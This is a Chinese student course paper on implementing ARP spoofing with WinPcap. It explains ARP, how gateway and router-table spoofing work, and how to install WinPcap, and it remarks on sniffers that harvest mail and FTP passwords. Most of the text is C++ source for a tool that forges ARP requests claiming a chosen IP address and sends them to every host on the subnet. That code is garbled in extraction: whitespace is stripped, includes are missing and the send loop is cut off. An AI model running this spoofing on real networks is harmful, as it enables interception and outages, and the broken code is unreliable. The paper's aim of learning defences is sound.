网络安全技术论文 1.docx
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网络安全技术论文1
《网络安全技术》课程期末考核（论文）
题目名称：
Arp欺骗程序的实现
院系名称：
计算机学院
班级：
网络122
学号：
201200824208
学生姓名：
简进祥
授课教师：
倪亮
2014年12月
目录
1.前言2
1.1ARP简介2
1.2课程研究目的和意义2
2.需求分析3
3.开发环境及程序框架4
3.1开发环境4
3.2程序框架4
3.2实现设计的内容5
4.安装WinPcap6
4.1WinPcap简介6
4.2WinPcap功能7
4.1WinPcap安装7
5.程序主要代码11
5.1主程序代码11
6.程序的运行16
6.1程序运行过程16
7.总结18
7.1程序总结18
1.前言
1.1ARP简介
ARP（AddressResolutionProtocol，地址解析协议）是获取物理地址的一个TCP/IP协议。
某节点的IP地址的ARP请求被广播到网络上后，这个节点会收到确认其物理地址的应答，这样的数据包才能被传送出去。
ARP（是一个位于TCP/IP协议）栈中的底层协议，对应于数据链路层，负责将某个IP地址解析成对应的MAC地址。
ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的进行。
ARP是一种将IP地址转化成物理地址的协议。
从IP地址到物理地址的映射有两种方式：
表格方式和非表格方式。
ARP具体说来就是将网络层（IP层，也就是相当于OSI的第三层）地址解析为数据连接层（MAC层，也就是相当于OSI的第二层）的MAC地址。
1.2课程研究目的和意义
ARP欺骗是黑客黑客常用的攻击手段之一，ARP欺骗分为二种，一种是对路由器ARP表的欺骗；另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。
它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址，造成正常PC无法收到信息。
第二种ARP欺骗的原理是——伪造网关。
它的原理是建立假网关，让被它欺骗的PC向假网关发数据，而不是通过正常的路由器途径上网。
在PC看来，就是上不了网了，“网络掉线了”。
一般来说，ARP欺骗攻击的后果非常严重，大多数情况下会造成大面积掉线。
有些网管员对此不甚了解，出现故障时，认为PC没有问题，交换机没掉线的“本事”，电信也不承认宽带故障。
而且如果第一种ARP欺骗发生时，只要重启路由器，网络就能全面恢复，那问题一定是在路由器了。
为此，宽带路由器背了不少“黑锅”。
我们研究的目的就是为了程序实现ARP欺骗，对ARP欺骗进行进一步的认识并提出防范。
2.需求分析
现在的网络已经越来越不安全了，ARP欺骗也越来越多，而ARP欺骗带来的问题也随之增多。
我们要学会解决这些问题。
ARP的工作原理是首先，每台主机都会在自己的ARP缓冲区中建立一个ARP列表，以表示IP地址和MAC地址的对应关系。
当源主机需要将一个数据包要发送到目的主机时，会首先检查自己ARP列表中是否存在该IP地址对应的MAC地址，如果有﹐就直接将数据包发送到这个MAC地址；如果没有，就向本地网段发起一个ARP请求的广播包，查询此目的主机对应的MAC地址。
此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。
网络中所有的主机收到这个ARP请求后，会检查数据包中的目的IP是否和自己的IP地址一致。
如果不相同就忽略此数据包；如果相同，该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中，如果ARP表中已经存在该IP的信息，则将其覆盖，然后给源主机发送一个ARP响应数据包，告诉对方自己是它需要查找的MAC地址；源主机收到这个ARP响应数据包后，将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中，并利用此信息开始数据的传输。
如果源主机一直没有收到ARP响应数据包，表示ARP查询失败。
ARP欺骗可以导致目标计算机与网关通信失败；更可怕的是会导致通信重定向，所有的数据都会通过攻击者的机器，因此存在极大的安全隐患。
所以我们要通过学习ARP欺骗来解决和防范ARP欺骗带来的问题。
3.开发环境及程序框架
3.1开发环境
1 、虚拟机安装好Ethereal软件；
2 、虚拟机安装好Ethereal软件；
3 、编译工具VC；
4 、WinPcap软件
3.2程序框架
没有发现网卡
网卡序号超出有效范围
移动到选择的网卡
打开网卡
得到网卡的IP地址
得到子网掩码
不在一个子网
两个IP是否在同一个子网
在一个子网
构建假的ARP请求包
获得网卡的MAC地址
退出
封装ARP请求包
图3.2.1程序框架
3.2实现设计的内容
1.理解ARP欺骗原理，利用WinPcap实现ARP欺骗。
2.用程序对局域网内任一主机实现ARP欺骗，使其IP及MAC信息在别的主机的ARP缓存中被更改。
4.安装WinPcap
4.1WinPcap简介
winpcap（windowspacketcapture）是windows平台下一个免费，公共的网络访问系统。
开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
WinPcap是用于网络封包抓取的一套工具，可适用于32位的操作平台上解析网络封包，包含了核心的封包过滤，一个底层动态链接库，和一个高层系统函数库，及可用来直接存取封包的应用程序界面。
Winpcap是一个免费公开的软件系统。
它用于windows系统下的直接的网络编程。
大多数网络应用程序访问网络是通过广泛使用的套接字。
这种方法很容易实现网络数据传输，因为操作系统负责底层的细节（比如协议栈，数据流组装等）以及提供了类似于文件读写的函数接口。
但是有时，简单的方法是不够的。
因为一些应用程序需要一个底层环境去直接操纵网络通信。
因此需要一个不需要协议栈支持的原始的访问网络的方法。
Winpcap提供了一个强大的编程接口，它很容易地在各个操作系统之间进行移植，也很方便程序员进行开发。
终端中依次执行以下命令，即可自动安装相应的软件功能模块。
Winpcap是一个Win32平台下用于抓包和分析的系统。
包括一个内核级别的packetfilter，一个底层的DLL（packet.dll）和一个高级的独立于系统的DLL（Wpcap.dll）。
4.2WinPcap功能
1.捕获原始数据包，包括在共享网络上各主机发送/接收的以及相互之间交换的数据包；
2.在数据包发往应用程序之前，按照自定义的规则将某些特殊的数据包过滤掉；
3.在网络上发送原始的数据包；
4.收集网络通信过程中的统计信息。
winpcap的主要功能在于独立于主机协议（如TCP-IP）而发送和接收原始数据包。
也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据包的发收，它仅仅只是监听共享网络上传送的数据包。
因此，它不能用于QOS调度程序或个人防火墙。
目前，winpcap开发的主要对象是windowsNT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows95/98/Me，并且MS也已经放弃了对win9x的开发。
因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。
其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。
有个软件叫snifferpro.可以作网管软件用，有很多功能，可监视网络运行情况，每台网内机器的数据流量,实时反映每台机器所访问IP以及它们之间的数据流通情况，可以抓包，可对过滤器进行设置,以便只抓取想要的包，比如POP3包,smtp包，ftp包等，并可从中找到邮箱用户名和密码,还有ftp用户名和密码。
它还可以在使用交换机的网络上监听，不过要在交换机上装它的一个软件。
还有一个简单的监听软件叫Passwordsniffer，可截获邮箱用户名和密码，还有ftp用户名和密码，它只能用在HUB网络上。
著名软件tcpdump及idssnort都是基于libpcap编写的，此外Nmap扫描器也是基于libpcap来捕获目标主机返回的数据包的。
winpcap提供给用户两个不同级别的编程接口：
一个基于libpcap的wpcap.dll，另一个是较底层的packet.dll。
对于一般的要与unix平台上libpcap兼容的开发来说，使用wpcap.dll是当然的选择。
4.1WinPcap安装
1.打开WinPcap4.1.2Beta4.exe文件，出现如下界面：
2.WinPcap4.1.2Beta4.exe安装完后出现如下界面：
3.解压WpdPack到WinPcap4.1Beta4安装路径下。
4.添加头文件和lib文件到该程序中。
具体方法：
（1）.点击项目属性，在c/c++常规的附加包含目录那导入wpdpack中的Include的电脑所在目录。
（2）.点击项目属性，在链接器常规中的附加库目录导入wpdpack中的Lib的电脑所在目录。
5.程序主要代码
5.1主程序代码
//
//ArpCheat.cpp
#include"stdafx.h"
#include
#include"arpcheat.h"
#include\WpdPack\Include\pcap.h>
//#include"remote-ext.h"
#include
#include\WpdPack\Include\Packet32.h>
#include\WpdPack\Include\Ntddndis.h>
//#include"remote-ext.h"
#pragmacomment（lib,"wpcap.lib"）
#pragmacomment（lib,"ws2_32.lib"）
#definePCAP_SRC_IF_STRING
intmain（intargc,char*argv[]）{
pcap_if_t*alldevs;//全部网卡列表
pcap_if_t*d;//一个网卡
intinum;//用户选择的网卡序号
inti=0;//循环变量
pcap_t*adhandle;//一个pcap实例
charerrbuf[PCAP_ERRBUF_SIZE];//错误缓冲区
unsignedchar*mac;//本机MAC地址
unsignedchar*packet;//ARP包
unsignedlongfakeIp;//要伪装成的IP地址
pcap_addr_t*pAddr;//网卡地址
unsignedlongip;//IP地址
unsignedlongnetmask;//子网掩码
if（argc!
=2）{
printf（"Usage:
%sinet_addr\n",argv[0]）;
return-1;
}
//从参数列表获得要伪装的IP地址
fakeIp=inet_addr（argv[1]）;
if（INADDR_NONE==fakeIp）{
fprintf（stderr,"InvalidIP:
%s\n",argv[1]）;
return-1;
}
/*获得本机网卡列表*/
if（pcap_findalldevs（&alldevs,errbuf）==-1）
{
fprintf（stderr,"Errorinpcap_findalldevs:
%s\n",errbuf）;
exit
（1）;
}
/*打印网卡列表*/
for（d=alldevs;d;d=d->next）
{
printf（"%d",++i）;
if（d->description）
printf（".%s\n",d->description）;
else
printf（".Nodescriptionavailable\n"）;
}
//如果没有发现网卡
if（i==0）
{
printf（"\nNointerfacesfound!
MakesureWinPcapisinstalled.\n"）;
return-1;
}
//请用户选择一个网卡
printf（"Entertheinterfacenumber（1-%d）:
",i）;
scanf（"%d",&inum）;
//如果用户选择的网卡序号超出有效范围，则退出
if（inum<1||inum>i）
{
printf（"\nInterfacenumberoutofrange.\n"）;
/*Freethedevicelist*/
pcap_freealldevs（alldevs）;
return-1;
}
/*移动指针到用户选择的网卡*/
for（d=alldevs,i=0;inext,i++）;
mac=GetSelfMac（d->name+8）;//+8以去掉"rpcap:
//"
printf（"发送ARP欺骗包，本机（%.2X-%.2X-%.2X-%.2X-%.2X-%.2X）试图伪装成%s\n",
mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]）;
/*打开网卡*/
if（（adhandle=pcap_open（d->name,//nameofthedevice
65536,//portionofthepackettocapture
1,//openflag
1000,//readtimeout
NULL,//authenticationontheremotemachine
errbuf//errorbuffer
））==NULL）
{
fprintf（stderr,"\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n",
d->name）;
/*Freethedevicelist*/
pcap_freealldevs（alldevs）;
return-1;
}
for（pAddr=d->addresses;pAddr;pAddr=pAddr->next）{
//得到用户选择的网卡的一个IP地址
ip=（（structsockaddr_in*）pAddr->addr）->sin_addr.s_addr;
//得到该IP地址对应的子网掩码
netmask=（（structsockaddr_in*）（pAddr->netmask））->sin_addr.S_un.S_addr;
if（!
ip||!
netmask）{
continue;
}
//看看这个IP和要伪装的IP是否在同一个子网
if（（ip&netmask）!
=（fakeIp&netmask））{
continue;//如果不在一个子网，继续遍历地址列表
}
unsignedlongnetsize=ntohl（netmask）;//网络中主机数
unsignedlongnet=ip&netmask;//子网地址
for（unsignedlongn=1;n//第i台主机的IP地址，网络字节顺序
unsignedlongdestIp=net|htonl（n）;
//构建假的ARP请求包，达到本机伪装成给定的IP地址的目的
packet=BuildArpPacket（mac,fakeIp,destIp）;
if（pcap_sendpacket（adhandle,packet,60）==-1）{
fprintf（stderr,"pcap_sendpacketerror.\n"）;
}
}
}
return0;
}
/**
*获得网卡的MAC地址
*pDevName网卡的设备名称
*/
unsignedchar*GetSelfMac（char*pDevName）{
staticu_charmac[6];
memset（mac,0,sizeof（mac））;
LPADAPTERlpAdapter=PacketOpenAdapter（pDevName）;
if（!
lpAdapter||（lpAdapter->hFile==INVALID_HANDLE_VALUE））
{
returnNULL;
}
PPACKET_OID_DATAOidData=（PPACKET_OID_DATA）malloc（6+sizeof（PACKET_OID_DATA））;
if（OidData==NULL）
{
PacketCloseAdapter（lpAdapter）;
returnNULL;
}
//
//RetrievetheadapterMACqueryingtheNICdriver
//
OidData->Oid=OID_802_3_CURRENT_ADDRESS;
OidData->Length=6;
memset（OidData->Data,0,6）;
BOOLEANStatus=PacketRequest（lpAdapter,FALSE,OidData）;
if（Status）
{
memcpy（mac,（u_char*）（OidData->Data）,6）;
}
free（OidData）;
PacketCloseAdapter（lpAdapter）;
returnmac;
}
/**
*封装ARP请求包
*source_mac源MAC地址
*srcIP源IP
*destIP目的IP
*/
unsignedchar*BuildArpPacket（unsignedchar*source_mac,
unsignedlongsrcIP,unsignedlongdestIP）
{
staticstructarp_packetpacket;
//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF
memset（packet.eth.dest_mac,0xFF,6）;
//源MAC地址
memcpy（packet.eth.source_mac,source_mac,6）;
//上层协议为ARP协议，0x0806
packet.eth.eh_type=htons（0x0806）;
//硬件类型，Ethernet是0x0001
packet.arp.hardware_type=htons（0x0001）;
//上层协议类型，IP为0x0800
packet.arp.protocol_type=htons（0x0800）;
//硬件地址长度：
MAC地址长度为0x06
packet.arp.add_len=0x06;
//协议地址长度：
IP地址长度为0x04
packet.arp.pro_len=0x04;
//操作：
ARP请求为1
packet.arp.option=htons（0x0001）;
//源MAC地址
memcpy（packet.arp.sour_addr,source_mac,6）;
//源IP地址
packet.arp.sour_ip=srcIP;
//目的MAC地址，填充0
memset（packet.arp.dest_addr,0,6）;
//目的IP地址
packet.arp.dest_ip=destIP;
//填充数据，18B
memset（packet.arp.padding,0,18）;
return（unsignedchar*）&packet;
}
//ArpCheat.h
//字节对齐必须是1
#pragmapack
（1）
structethernet_head
{
unsignedchardest_mac[6];//目标主机MAC地址
unsignedcharsource_mac[6];//源端MAC地址
unsignedshorteh_type;//以太网类型
};
structarp_head
{
unsignedshorthardware_type;//硬件类型：
以太网接口类型为1
unsignedshortprotocol_type;//协议类型：
IP协议类型为0X0800
unsignedcharadd_len;//硬件地址长度：
MAC地址长度为6B
unsignedcharpro_len;//协议地址长度：
IP地址长度为4B
unsignedshortoption;//操作：
ARP请求为1，ARP应答为2
unsignedcharsour_addr[6];//源MAC地址：
发送方的MAC地址
unsignedlongsour_ip;//源IP地址：
发送方的IP地址
unsignedchardest_addr[6];//目的MAC地址：
ARP请求中该字段没有意义；ARP响应中为接收方的MAC地址
unsignedlongdest_ip;//目的IP地址：
ARP请求中为请求解析的IP地址；ARP响应中为接收方的IP地址
unsignedcharpadding[18];
unsignedcharPCAP_SRC_IF_STRING;
unsignedcharpacp_findalldevs_ex;
unsignedcharpcap_open;
};
structarp_packet//最终arp包结构
{
ethernet_headeth;//以太网头部
arp_headarp;//arp数据包头部
};
#pragmapack（）
/**
*获得网卡的MAC地址
*pDevName
升级会员 